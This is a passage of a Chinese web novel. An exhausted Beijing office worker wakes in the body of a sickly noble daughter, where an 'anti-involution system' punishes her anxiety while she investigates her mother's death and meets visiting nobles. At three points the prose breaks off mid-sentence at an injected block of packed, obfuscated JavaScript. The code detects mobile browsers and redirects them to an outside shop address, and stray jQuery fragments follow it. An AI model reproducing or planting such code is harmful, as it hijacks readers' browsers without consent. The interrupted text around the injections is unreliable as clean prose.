《卷王古代保命计划》
1. 社畜的一天
手机闹钟响起的时候,竹曳感觉自己才刚闭上眼睛。
黑暗中,她伸手摸索着床头柜,指尖碰到冰凉的金属外壳,按掉那个催命符似的闹钟铃声。房间里重归安静,只剩下自己的呼吸声和外面的鸟叫声。
还有窗外隐约传来的城市噪音——北京醒了。
竹曳给自己留了五分钟睡懒觉的时间,六点整的时候,她坐起身,揉了揉脸,然后伸手拉开窗帘。
床边贴着一张便签纸,上面写着粗加的字:
“月薪两万五,钱多多,在北京闯出一片天!”
这是她给自己写的牛马激励话,每天早晚得时候读一读,吃草料都能更香。
竹曳穿上拖鞋,把卧室收拾整齐,这个房间不大,就放了一张床,竹曳摆脱不了自己与床的羁绊,就只能严格要求自己除了睡觉时间绝对不进卧室,其他时间都用来工作和学习。
她甚至给卧室门上了两把锁。
恐怖至极。
洗手间的镜子里映出一张还算年轻的脸,如果忽略那两个黑眼圈的话。竹曳拧开水龙头,先用冷水拍打脸颊,试图唤醒还处在沉睡中不清醒的脑子。
镜子角落贴着一张金丝熊的照片,毛茸茸的一团,下面写着它的名字:小毛帽。
小毛帽是她养的金丝熊,笼子放在阳台,但是她早上不会过去那边,于是把小毛帽的照片打印下来放到镜子旁边,每天打招呼。
和小毛帽互动会让她分心,浪费很多时间。
“早啊,小毛帽。”她对着照片说,声音无比的沙哑。
六点十分,她开始穿今天要穿的衣服,衣柜里清一色的黑白灰,适合各种场合,不会出错。
这就是竹曳职场生存法则之一,别在衣服上花太多心思,但是要得体。
她最终拿了一件白色衬衫和黑色西裤,事昨天晚上睡前就挑好了的,简单利落。
六点二十分,她冲出小区,融入早高峰的人流,跟着大家一起扫码进地铁站。竹曳没买早饭,出了地铁还有几分钟的路要走,那个时候在地铁站门口买个手抓饼,快到公司的时候刚好吃完,到工位的时候再用一包漱口水。
这是竹曳实验几次之后得出的用时最少的方案,最起码可以让自己再多睡十五分钟。
北京的早晨有种奇特的节奏,每个人都像是被上了发条的玩具小人,面无表情地朝着同一个方向前进,地铁站入口不断吞食着一波又一波互不相识的人群,循环往复,永无止境。
竹曳熟练地刷卡、下楼,站在等车的固定位置。两年了,她已经摸清了这趟地铁的规律,哪节车厢人少,哪个位置下车最方便,哪个时间段人流量最小。
这些都是牛马社畜的生存智慧。
她看着周围来往的人群,突然想起刚来北京时的自己。那时候是她第一次来北京,还对这座城市充满幻想,觉得地铁里拥挤的人群都带着梦想和前途的味道。
现在她知道了,那不过是睡眠不足和焦虑混合的气味。
还有恶心的头油味。
六点三十分整,地狱之门开启。
“往里面走!里面还有空!”工作人员大声叫喊着,竹曳没主动往前挤,她被人流裹挟着前进,完全不用自己动,感觉自己像是一粒被塞进豆豉鲮鱼罐头里面的豆子。
车厢里弥漫着复杂的味道,早餐包子、香水、汗液,甚至不知道为什么还有某种汽车里的味道。竹曳带上口罩,被挤得脸贴在前方乘客的背包上,手紧紧握着栏杆,车厢晃来晃去,背包扣子硌得她后背生疼。
她试图挪动一下,却发现连转头的空间都没有。
“嘶——我的头发!”右侧传来一声尖叫。
“对不起对不起,是我不小心......”有人小声道歉。
“劳驾,问问您这站下不下车。”
“下。”
“哎呦吓我一跳!”
一个急刹车,整个车厢的人群超一个方向倒去,又在下一刻全都回到原位,瞬间惊呼声道歉声此起彼伏,不过到处都是人挤着人,不会摔倒地上。
竹曳抓住头顶的扶手,感觉自己像正站在大洋中航行的船上的船长。
“这他妈的...天天这样什么时候是个头啊......”身后有人低声骂了一句,但很快就被淹没在车厢的噪音中。
竹曳闭上眼睛,这一刻,她不是某公司的宣传策划,不是月薪两万五的白领,只是一具被车厢运输的尸体,灵魂扭曲着飘在人群上空。
她想起上周在电梯里听到的对话,两个年轻女孩兴奋地讨论着一会儿去哪里玩,谈论着看过的北漂故事电视剧,说这座城市充满机遇和浪漫。
而她呢,背着包,看着城市的夜景,只有无尽的疲惫,身体上的还有心理上的,竹曳当时就在心里暗暗想到,北京的真实故事是早高峰的地铁和加班到深夜的办公室,浪漫的爱情故事是留给有钱人自己演戏用的。但最后她什么也没说,自己当初来的时候也存在着幻想,现实会教会大家一切。
当她从地铁站挣扎出来时,感觉自己像是经历了一场战争。衬衫皱了,头发乱了,但时间不允许她整理,她只能往前走。
七点五十分,竹曳刷卡进入公司大楼,在电梯里迅速补了个口红,扯出一个职业微笑,调整自己的面部表情。
“早啊,曳姐。”前台小赵和她打招呼。
“早。”竹曳点点头。
同事小张走过来,拍了怕她的肩膀,深吸一口气说道:"王姐说九点办要开紧急会议,让你准备好上次活动的策划案。"
竹曳心里一沉,紧急会议从来不会带来好消息。
估计这几天又要加班到很晚了。
她的工位在靠窗的位置,不算太大,但被她打理得井井有条。
按理来说以竹曳在公司的地位应该可以有一个独立办公室的,那个王总也几次和竹曳提过,都被竹曳拒绝了,因为这个位置风景太好,扭头就能看到外面的天。
要换的那个办公室很小一个,过去了和监狱没两样,她觉得按照自己现在的生活工作强度来看,每天不能看到外面的蓝天白云会让她加速死亡的。
桌子上一盆绿萝正兴奋地活着,整层楼就数这盆草最有生机。
也许还有夏天的苍蝇蚊子。
电脑开机的时候,她瞥了一眼桌角的金丝熊照片,小毛帽黑豆似的眼睛看着她,竹曳在心里给自己打气。
加油,给小毛帽赚粮。
登上微信的那一刻,工作群的信息开始疯狂跳动。
“公众号今天的推送预览发我一下,另,昨天那条最后格式不太对,下次注意。”
“前天的活动总结写好了吗?”
“甲方又改要求了,十点办的时候开个小会。”
竹曳深吸一口气,开始了一天的工作。宣传策划这个岗位,听起来光鲜,实际上就是个万能胶水胶,哪里需要粘哪里。
这个岗位狗都不做。
桌上的待办事项清单已经写得密密麻麻:公众号排版、活动方案修改、宣传册审核、场地勘察......每完成一项就打个勾。
其中有的内容不需要她自己亲自去做,但是需要她去审核,比如公众号排版,这些都是实习生的事儿。
竹曳就像个机器人一样,及其享受完成一个项目然后在后面打勾的过程,她觉得特别爽,任务越多越爽,颇有一种成为受虐狂的潜力。
她同时打开五个办公软件,回复三个聊天窗口,眼睛还要盯着手机电话,这些都是常有的事情。
九点的时候,她泡了今天的第一杯咖啡,这是支撑她度过上午的唯一动力。
“竹曳,过来一下。”部门经理王姐在门口招手。
”
咖啡刚冲好,竹曳赶紧喝了几口,然后快步走过去,手里抱着笔记本、笔和手机。
“丽思卡尔顿那个活动的场地出了问题,你下午去看看吧。”王姐说,“顺便给设计部反馈,把宣传册小样打出来,你盯着点。”
“好的。”
“还有,下个季度的宣传方案初稿,后天中午吃饭之前给我。”
“可那不是是下周——”
“客户要提前看,咱们也没办法嘛,”王姐拍拍她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614610|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的肩膀,“能者多劳,有问题随时来问我。"
竹曳回到工位,默默重新排序待办事项。
月薪两万五,每一分都是血汗钱。她曾经计算过,按每天工作十二小时算,时薪并不比楼下咖啡店店员高多少。
“又给你加了?”隔壁工位的李浩然探头问。
“常态,我都习惯了。”竹曳耸肩无奈,手指在键盘上飞舞。
“唉,一天天的当牛做马,工资不见涨,有需要叫我啊。”
“你的活儿也不比我少。”
这是实话。在公司里,每个人都是不停旋转的陀螺,向来只有抽打的力度不同,没有能停下来的时候。
上个月李浩然连续加班突发阑尾炎,在医院躺了三四天后才回来,第一件事就是加班补上落下的工作,这还是将部分工作转移到医院做的前提之下。
生病都成了一种奢侈。
九点半那个紧急会议开完没多久,十点半的会又要开始。会议室内,新来的副总指着PPT挑刺:“这个配色不够高级,我们要的是轻奢感,不是廉价感,给客户展现的时候要能够表现出噩我们公司的特色知道么?我想让大家知道的是,内容重要,但,表现形式同样重要!谁做的这个,一会儿重新做一版。”
"但目标客户是年轻人,太奢可能会产生距离感。"竹曳小声提出意见。
“年轻人就不配拥有高级审美吗?”
“我之前在国外留学的时候做过很多类似的工作,这方面我想我更懂一些,好吗?”
竹曳闭嘴了,关系比正确更重要,多说无益。
原本一个小会议硬生生拖了一个多小时,大部分时间在讨论一些无关紧要的细节。竹曳看着窗外,想起大学时老师说的话,和现在她所面对的完全不一样。
十二点,午餐时间,竹曳和同事们凑在一起吐槽。
“还轻奢感呢?我看他最想要的是装逼感,留个学天台呢挂在最嘴边,也就这个拿的出手了吧?”李浩然翻白眼。“谁不知道他是靠关系进来的?天天不知道装什么。”
“这方面我更懂一些~”李浩然捏着嗓子学说话。
“习惯就好,我们这些人哪能选择啊,”李雪打圆场,“对了,下午谁去现场?”
“我,”竹曳举手,“还得弄策划,今天又要加班了。”
竹曳机械地吃着饭,脑子里还在想宣传方案的事。
以前上学的时候,一边吃饭一边想数学题,现在工作了,一边吃饭一边想工作。有时候她会想起小时候母亲总说“吃饭要专心,不要想七想八的。”现在她觉得那真是奢侈的建议。
下午一点,竹曳开始提前下午的工作,设计部发来的宣传册小样需要修改,她仔细标注了每一处需要调整的地方又发给对方,嘱咐下午就把小样打出来。
两点钟,她收拾东西准备出门。
“走啦?”李浩然问。
“嗯,走了!”
“别忘了带伞,天气预报说下午有雨。”
竹曳点点头,心里有点感动。在这个人人自危的职场里,同事之间还能有偶尔的关系真是让人想哭。
下午两点十五分,竹曳背着沉重的笔记本电脑和资料坐在地铁上。
两点二十分,她出地铁站,然后打车到场地。
北京的交通永远是个谜,今天,这个谜题的答案是——堵车。
“师傅,咱能再快一点吗?我赶时间!”
“哎呦姑娘,你看这路况,我飞过去啊?”
出租车里放着老歌,司机跟着哼唱。
十分钟的路程硬是拖了二十几分钟,到达场地后,竹曳迅速进入工作状态,测量尺寸、检查设备、沟通细节。
她一边拍照一边往微信传输助手上记,时不时还接个工作电话。
“竹工,这个大屏还得再测试一下,我看这个尺寸好像不太对,是不是还得改PPT。”
“我们这边大概有五十人,但是最终数字还得下周确定,竹工。”
“竹工,音响设备还得调试一下。”
“竹工......”
3. 贵客来也
【系统补充规则:为保障宿主在本世界身心健康,避免重蹈覆辙,系统将严格监控宿主心理状态。当宿主出现焦虑、紧张、内卷等情绪或行为,或存在类似心理行为倾向时,系统将视情况给予惩罚。】
【惩罚措施包括但不限于:轻度电击、强制罚抄典籍、原地入睡、原地进行太极拳演练等等。】
竹曳彻底石化了。
她听到了什么?一个防止她过劳死的......防内卷系统?
【对对对!我就是反内卷系统。】
这算什么?因为她上辈子卷死了,所以这辈子给她套上个紧箍咒,不准她再卷?
“不是......等会儿!”竹曳觉得自己的脑子有点不够用,“你让我查我‘母亲’的死因,这明显是个有难度的任务吧?查案不需要动脑子吗?不需要投入大量精力吗?怎么可能不焦虑不紧张?你这规则不是自相矛盾吗你?!”
【系统规则逻辑正常,还请宿主自行探索健康、可持续的任务完成方式。】系统声音空灵,仿佛远在天边。
【规则已传达完毕,系统开局引导模式结束,祝您任务顺利,生活愉快。】
“愉快你个......”竹曳那句脏话还没骂出口,就感觉一股微弱的电流瞬间窜过四肢。
“嘶——”她浑身一麻,差点从椅子上滑下去,她第一次体会到被点击的感觉。
【警告!!!系统检测到宿主情绪波动,伴随不良语言倾向,首次违规,予以微量电击提醒。】
竹曳僵在原地,一口气堵在胸口,上不来下不去,这也太憋屈了。
在现实世界,她早就习惯了焦虑习惯了内卷,甚至可以说这事她一直以来前进的动力。结果现在呢,这个不知从哪儿冒出来的系统,居然把她安身立命的根本认定为违规行为。
这简直是和告诉鱼不准游泳一个性质。
她用力深呼吸,努力让自己情绪平复下来。
就在这时,门外传来了轻微的脚步声,接着是小心翼翼的叩门声。
“小姐,您醒了吗?奴婢听见屋里有动静。”是之前那个叫她起床的女声,听着年纪不大。
竹曳心头一紧,来了,这个世界的原住民来了。
她迅速重新躺回到床上,整理了一下表情,努力回忆着刚才系统提供的关于原主的信息,体弱多病,性格怎么样系统没细说,但估计不是她这种加班狗的风格。
“进来吧。”她清了清嗓子,尽量让自己的声音听起来柔和一些。
门被轻轻推开,一个穿着浅色襦裙,梳着双丫髻的小女孩端着铜盆走了进来,她看起来比原主还要小一点,约莫十三四岁,圆脸大眼。
看到竹曳躺在床上,小丫鬟明显松了口气,脸上露出笑容:“小姐您总算醒了!早些时候来叫您您都没醒,这都日上三竿了,您要是再不起,夫人那边派人来问,奴婢都不知该如何回答了。”
夫人?应该指的是那个对她不好的继母柳氏吧,竹曳心里思索着。
小丫鬟放下铜盆,扶着竹曳起床走到梳妆台前,自然地拿起梳子,准备给她梳头,嘴里还在絮叨:“小姐您昨晚睡得可好?头还晕不晕?大夫说了,您这病最忌忧思过度,得好好静养......”
忧思过度?原主得了什么病?是因为忧思过度才去世的吗?这是不是和自己签订反焦虑内卷系统有关系?
【警告......】
竹曳不想这些了,她看着小丫鬟做事情。
丫鬟的动作熟练,语气亲昵,带着显而易见的关心。竹曳通过铜镜观察着她,心里判断这应该是原身的贴身丫鬟,而且关系不错。
“还好吧。”竹曳含糊地应了一声,任由小丫鬟摆布她的头发。她不太习惯这种被人伺候的感觉,浑身又不自在又僵硬。
“小姐,今日想梳个什么发式?飞仙髻?还是堕马髻?”小丫鬟兴致勃勃地问。
竹曳:“......随便。”她对古代发型一无所知。
小丫鬟当她病中懒怠不想多说,便自作主张:“那奴婢给您梳个简单些的吧,配上前几日老爷赏的那支玉簪,肯定好看。”
竹曳无所谓的“嗯”了一声,她现在的心思完全不在梳妆打扮上,她需要信息,需要尽快了解这个环境,了解她身边的人,以及想清楚怎么才能查明“母亲死因”这个任务。
她状似无意地开口,声音依旧轻轻的,带着点虚弱感:“我昨晚......好像梦到母亲了。”
给她梳头的手微微一顿。
小丫鬟的声音低了下去,带上了几分心疼和唏嘘:“小姐定是思念先夫人了,唉......奴婢听嬷嬷说,先夫人在的时候,对小姐很好......”
竹曳从镜子里看到小丫鬟脸上真切的难过,心里稍微有了点底,看来原主的生母应该是个不错的人,对自己也很好。
“是啊,”竹曳顺着她的话,语气带着恰到好处的哽咽,“若是母亲还在,定然不会让我......唉!”
她话没说完,留下给眼前人发挥的空间。
小丫鬟果然被带了节奏,大声道:“小姐你别伤心!先夫人当年去得不明不白,老爷他虽......唉!如今府里是柳夫人当家,有些事,咱们也只能忍一忍......再找机会调查清楚。”
不明不白?
竹曳的心脏猛地一跳。
系统说的是“查明真正原因”,现在这小丫鬟又说“去得不明不白”......
难道她生母的死,是另有隐情?会和柳氏有关吗?
这个念头一起,竹曳就停不下来,她脑子里又开始想东想西,一遇到任务就想立刻攻克它。
【警告!警告!检测到宿主肾上腺素水平升高,思维进入高度活跃。惩罚触发:强制罚抄《清静经》一遍,请宿主于今日内完成。】
机器音突然响起,吓竹曳一跳。
她差点一口老血喷在镜子上,“我靠!不是吧!!!我就想了想任务而已这也要罚???”
【想任务当然可以喽,但是你想的也太多了点,虽然你现在的身体没有病,但是在你穿越过来之前这个身体可是什么病都有,这么多年一直没好过,你最好平时装病装的像一点。】
“......”
“那我要是不接受惩罚会怎么样。”
【强制电击,看惩罚的严重程度,轻度惩罚不接受的话那就轻度电击,以此类推,重度惩罚不完成就是重度电击,我劝你还是老老实实遵守规则,虽然电击之后不会给你的身体留下什么损伤,但是疼是真的。】
竹曳翻了个白眼。
【别冲我翻白眼哦,规则不是我定的哦。】
竹曳又翻了个白眼,“行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614612|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧,那我一会儿抄。”
那丫鬟看竹曳连翻了两个白眼,还以为自己下手重了,忙放慢了梳头的速度。
紧接着,她又说道:
“依照巧心看,小姐您是在没必要太过忧心,夫人在下面看了定会着急,养好身子最重要。”
巧心?
竹曳正不知道怎么问她叫什么呢,没想到她自己说了出来。
“我知道了,巧心,一会儿帮我准备纸墨。”
“小姐,您这是又要写字?”巧心看着她,“您身子还没好利索呢,大夫说要多休息......”
“没事。”竹曳打断她,心里早就泪流满面,她也不想啊!可这不是她能决定的,“拿来吧。”
巧心知道自家小姐决定的事情一般不会轻易改变,她给竹曳梳好妆后将前几日收起来的笔墨又给找出来,放到书案上。
竹曳僵硬地坐到书案前,铺开宣纸,然后拿起毛笔蘸墨,照着系统给她找来的原文抄写。
字迹是清秀的小楷,竹曳小时候也练过几年,现在写起来也倒不算是陌生。
【宿主静心抄写经书哦~不要说奇怪的哦~我全都能听到的哦~】
竹曳只觉得悲从中来,想她上辈子卷天卷地,最后卷死了自己,这个惩罚还不够,没想到这辈子想卷居然连卷的资格都被剥夺了。
什么人间疾苦!
难道她以后查案,只能躺平了查?边打太极拳边查?边抄经边差?查着查着因为太投入就被电击或者强制睡着?
这到底是侦查任务还是个养生任务,这真的能完成吗?!
快中午的时候,竹曳抄了一多半,很久不拿笔还真有点不习惯,她写字写的很慢。
手腕有些酸胀麻木,指尖被那支略微沉甸的毛笔硌出了一道浅浅的红痕。
字迹也从最初的工整秀丽,逐渐变得有些歪斜潦草,竹曳越抄越烦,她在心里麻木地默念着这些句子,脑子里各种横竖笔画直打架。
“小姐,您歇会儿吧,喝口茶水,用些点心。”巧心在一旁忧心忡忡地看着她,递上一杯温热的茶和一碟精致的桂花糕。自家小姐从早上醒来就古古怪怪,脸色黑沉沉的,看着比之前病着时还要难看几分。
竹曳抬起僵硬的脖子,脖颈处发出轻微的“咔哒”声,她结过茶水,一口喝光。
“帮我换个大点的杯子过来好吗谢谢。”竹曳舔舔嘴,暗道这杯子一个手心大小,喝了跟没喝一样。
竹曳之前从来没用过大杯子,一时还真找不到合适的用具,巧心要去给小姐找碗,她走后不久,院门外就传来一阵略显急促的脚步声,紧接着谈话声想起。
“钱嬷嬷,不是老婆子不通融,实在是大小姐她身体......”
“夫人有命,今日有要客来拜访,让我亲自来请大小姐,怎么,我这把老骨头,还请不动大小姐移步了?”
话音未落,帘子已被不轻不重地掀开。一个穿着体面、约莫四十岁上下,面容严肃的嬷嬷带着两个低眉顺眼的小丫鬟,径直走了进来。
【继母柳氏身边的得力干将,姓钱,府里下人都称一声钱嬷嬷。】
系统给竹曳介绍人物。
钱嬷嬷看着竹曳,脸上皮笑肉不笑,草草行了个礼,带着几分傲慢:“大小姐安好,夫人让老奴来传话,前头来了贵客,夫人请您过去一见。”
4. 我只是个病人,为什么要社交
竹曳握着笔的手一顿,一滴墨汁滴落在经文上。
贵客?什么贵客会找她这个体弱多病,常年窝在偏院的小透明?
竹曳尚未开口,后面紧跟着进来的嬷嬷就说道:“钱嬷嬷,您也瞧见了,我家小姐今日身子还是不爽利,刚喝了药,紧接着又抄了会儿经书静静心。此刻精神实在不济,气虚体弱的,恐不宜见客。”
“再说若是冲撞了贵人......反倒不美......
“还请嬷嬷回禀夫人,替小姐告个罪。”
这套说辞,是原主以往推脱各种不必要的社交的惯用伎俩,百试百灵,大多时候来人听到原主体弱多病,再瞧见原主这虚弱的样子,都会觉得不来也罢。
竹曳垂着眼,浓密的长睫毛掩盖住眼里的情绪,就算是默认了这个做法,她现在对这个世界的人际关系权力构成一无所知,对这所谓的“贵客”更是摸不着头脑,贸然前去,无异于盲人骑瞎马,谁知道这府中的人谁对她善谁对她恶。
虽然她想快些进入调查进程,但风险太大,能推则推暗中探查是目前最好的选择。
然而钱嬷嬷听了这话,脸上的笑瞬间淡了下去,声音也强硬了些许:“夫人的意思是今日来的客人不同以往,还请大小姐务必前去,况且......”
她目光扫过窗边那堆积的如同小山似的宣纸,“老奴看大小姐尚有精力在此舞文弄墨,气色瞧着也比前两日好些了,想必走动一二也并无大碍。”
“夫人体恤小姐,特意吩咐了,若是大小姐实在行动不便,可让粗使婆子抬了软轿来接,定然不会让小姐受了劳累。”
话都说到这个份上了,几乎算是撕破了脸皮,软轿?虽说竹曳住的是偏了些,但哪里病到连这几步路都走不了了?倘若真是坐了轿子,岂不是要闹得人尽皆知?
这柳氏是铁了心想让她过去,到底想干什么?
竹曳打断脸色变得极差,还想再争辩几句的嬷嬷,是福不是祸,是祸躲不过。罢了,她倒要亲自去看看,是什么“贵客”来访能让她这个边缘人物前去,顺便也能打探个消息,小心点就好。
“咳咳......既然如此,咳咳......”竹曳开口,声音飘飘忽忽的,“那便容我稍作休整,再随嬷嬷前去。”
钱嬷嬷这才又挤出点干巴巴的笑容,“大小姐明理,那老奴就在外间侯着小姐。”说完,便转身走了出去,脊背挺得笔直。
帘子落下,屋内恢复了安静,只剩下风吹纸张的沙沙声,竹曳悠悠叹口气,心里没底。
“小姐!您怎么就答应了呢?您这身子骨该好好修养才是!这夫人突然叫您前去,只怕是没安什么好心!”
“无妨,”竹曳打断她,撑着书案站起身,双腿因久坐有些发麻,她在嬷嬷略显得惊诧的眼神中跺跺脚,说道:“母亲盛情难却,总不能真让她派人将我抬过去,那成何体统。”
她走到梳妆台前,看着镜中那张苍白脆弱的,但是隐约透着一股不属于原主韧劲的脸,低声道:“嬷嬷,去看看巧心回来没有,让她帮我重新梳个头,再换个素净点的簪子。”
那碗水最后也没喝成,竹曳拿手点了些粉,轻轻按在唇瓣上,使其更显苍白,紧接着便扶着巧心的手,故意将身体大半重量倚过去,脚步虚浮的踉跄着慢慢走了出去。
钱嬷嬷瞥了她一眼,见她这幅风吹就倒,弱不胜衣的模样,轻哼一声也没再说什么,在前面不紧不慢地引路,丝毫不顾及后面“病人”的速度。
这是自打竹曳穿过来第一次走出了听雪苑,她打量着这座名义上的“家”。
亭台楼阁,雕梁画栋,回廊曲折迂回,假山流水点缀其间,处处透着官宦人家的精致与气派。只是这精致里,总透着一股刻板规矩的味道,下人们见到她们这一行,纷纷避让到一旁,垂首躬身行礼,眼神大多低垂着,不敢多看这位深居简出、传闻中命不久矣的大小姐一眼,态度可以说是恭敬。
这正和竹曳的意,刚好她不知道如何面对这些繁琐的规矩。
一路行至待客的外厅,还未进门,便听到里面传来隐约的谈笑声,其中一道年轻男子的声音清朗悦耳,语速略快,声调上扬,显得很是健谈,格外突出,另有其他声音附和,听起来人还不少。
门口站立的小丫鬟见到几人,立刻机灵地掀起帘子,钱嬷嬷先一步走进去,声音不高不低地禀报:“老爷、夫人,大小姐到了。”
厅内的谈笑声骤然一静,似乎都在等着这位鲜少出现的病弱小姐。
竹曳站在屋外,她回望屋内钱嬷嬷疑惑的眼神,脚步迟迟迈不进去,开局就面对这么多古人,压力也太大了些。
“小姐,我们进去吗?”
竹曳给自己定定心,心想到时若是什么不好对付的事就装病,“进!”
她低眉顺眼,脚步像是踩在棉花上,慢腾腾地一步一步挪了进去。瞬间,周围数到目光齐刷刷地落在了她的身上,带着好奇和打量。
借着抬脚迈门槛的瞬间,竹曳飞快抬眸扫了一眼,主位上坐着父亲竹文渊和继母柳氏,竹文渊身着赭石色常服,面容清瘦,蓄着短须,神色间带着些许严肃和些许官场中人的威仪,看到她进来,只对周围人介绍了两句。柳氏则穿着绛紫色缠枝牡丹纹的缎面对襟褙子,发间一支白玉云头簪,再点缀零星珍珠小簪,耳畔一对素银嵌碧玺的坠子,容貌明艳,眉眼间带着几分精明利落,此刻正脸上带笑,但竹曳只觉得那笑意并未深入眼底,判断此人一定是个笑面虎。
“曳儿来了,快过来这边坐。”柳氏笑着开口,语气亲热,仿佛真是个将继女疼到心坎里的好母亲,“你身子不好,本不该扰你清静,只是今日贵客临门,两位公子还有林太医前来拜访你父亲,说起一些岭南的风土人情,便想着叫你出来听听,或许能宽宽心,解些烦闷。再者,林太医艺术高超,也正好给你瞧瞧身子。”
竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614613|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曳心里猛地一沉,柳氏这话听上去是关怀备至,实则句句是坑,来的路上系统和她说过,原主生母就是岭南人,柳氏这个时候提到岭南,恐怕不是宽心解闷,而是故意挑衅。
她怯怯地行李,声音细若游丝,简直比病人还像是个病人,“女儿见过父亲、母亲,见过诸位贵客。”
“这是小女竹曳,自幼体弱,一直在院中修养,少见外人,若有失礼之处,还望海涵。”竹文渊给在场众人介绍。
其中一位长胡子长者声音爽朗,“侍郎严重了,是在下等冒昧打扰了才是,竹小姐快快请坐。”
竹曳顺着巧心的引导坐下,低头抬眼悄悄打量,客位上坐着好几个人,除了两位格外引人注目的年轻公子外,还有一位留着山羊胡、面容清瘦、穿着深蓝色直缀的中年男子,以及一个立在其中一位年轻公子身后做小厮打扮的精干少年,他身形精干,眼神锐利,看起来不像寻常仆从。
那两位年轻公子,一位身穿白蓝色的长衫,腰间系着羊脂白玉带,面容俊朗,嘴角带笑,自带一股年轻人的朝气阳光与自在风流气息,他看出竹曳正看着自己,直接大方回以一笑。
竹曳猜测刚刚那清朗的声音多半出自他的口中。
而另一位......
竹曳看过去,呼吸微微一窒。
那个人坐在稍微靠后的位置上,穿着一身玄青色暗纹锦袍,眉宇疏朗,鼻梁高挺,唇色偏淡,脸色是一种不太健康的苍白。他的坐姿并不怎么端正,甚至可以看出有些过于闲适的懒散,微微倚靠着扶手,垂着眼睛不知道在想什么,似乎对周围的一切都不怎么感兴趣,透着一股若有若无的疏离感。
偶尔抬手掩唇低低咳嗽几声,声音沉闷,显得气力不足,他身后的小厮立刻上前半步,被他用眼神轻轻制止,似乎也是身体不好。
厅内的谈话在短暂的打断之后重新继续,主要是竹文渊和那位太医在说,那位开朗的年轻公子偶尔附和几句,柳氏则笑着适时捧场。话题依旧围绕着岭南的奇风异俗、珍稀物产,尤其是几种罕见香料的特性和用途上,那位病弱男子并不搭话。
系统有时在有时又消失,指望他给讲解人物关系是不行了,只能靠竹曳自己猜。
竹曳看似神游天外魂不守舍,实则全身的感官都调动起来,早就竖起了耳朵,努力从他们看似闲谈的对话中捕捉任何可能有用的信息碎片。
原来这位林世子,也就是那个病弱的公子,是承恩侯府的世子,名唤林霁,而另一位公子,是林霁的弟弟林昀,那位林太医则是在太医院供职。
此番前来,明面上的借口是林霁近日协助张太医整理前朝遗留的医药杂记,对其中提及的岭南风俗和药材感兴趣。而竹文渊在礼部任职,已故的发妻又是岭南人,还曾参与编纂过《四方风物志》,故前来请教。
但林霁身为异姓王林越的嫡长子,为何会跟随张太医整理医药杂记呢,此事就说来话长了。
5. 林子送出香囊一个
竹曳从会客厅离开回到听雪苑时,已经是午后申时,初夏的阳光透过雕花木窗,在地面上投下些细碎的光斑。屋内只剩下竹曳和巧心,还有刚从外面回来不久的文心。
“打听到了?”竹曳轻声问道,目光略过窗外那颗白玉兰树,指尖抚平刚抄完的经书。
文心将上午排队大半天才买到的桂花糕一个个摆到青瓷碟子中,放在竹曳面前,压低声音道:“小姐,都问清楚了。
“那外头的人都说,林世子小时候似乎经历过什么事儿,有一天身子突然就不好了,这么多年一直在求医问药。但总也没好,甚至有愈演愈烈的趋势,前些年还大病了一场,从那以后就跟着张太医了。
“不过......大家都说林世子那场大病来的蹊跷,在那场大病后,原本由他负责的宫中侍卫调配之权,就转到了另一位手里。”
桂花糕是文心一早就去排的,在城中有名的很,竹曳接连吃了三块桂花糕,用力咽下口中的东西,接着好奇道:“转到谁手里了?”
“这倒是不知,只听说是转到了摄政王的一位侄儿手里。”
“摄政王?”
竹曳不懂了,按照她的理解,摄政王一般不都是代替或者代表年幼的,或者不具备执政能力的君主行使权力,再或者辅佐皇帝执行公务的人么?但当今皇帝应该得有近四十岁了吧?怎么还有摄政王的存在。
“所以......难道这林世子的病与摄政王有关?”
“大家都这么猜测,”文心走过来给竹曳捶背,“这林将军作为当朝唯一的一位异姓王爷,虽多次立下战功,但终归不姓李,遭人忌惮也是情有可原。”
巧心愤愤不平道:“可这林世子自幼体弱多病,能威胁到什么人?却还是造人陷害丢了职位,真是......哎呦,你今日不在,是不知道今日会客厅发生了什么......明知我家小姐会伤心,那柳氏还故意在众人面前提到先夫人!”
眼见巧心有要爆发的样子,竹曳怕声音太大引来什么人,赶忙打断转移话题道:“唉,算了算了,柳氏我们惹不得。对了,我不是有个妹妹么?她今天去哪里了。”
“二小姐么?她今日一早和别家小姐一起去城外的慈恩寺上香了,说是要给老爷祈福。”
竹曳又拈起一块桂花糕放入口中,若有所思,这个妹妹好像是叫竹茵?似乎和各家小姐夫人们玩的都挺好,不知道和自己关系怎么样,不过大概率一般。想到这,竹曳心猛地一跳,原主妹妹叫什么平时怎么样,这些事情应该从来没有人和她说过,那自己是怎么记得的?
难道是受原主的影响?
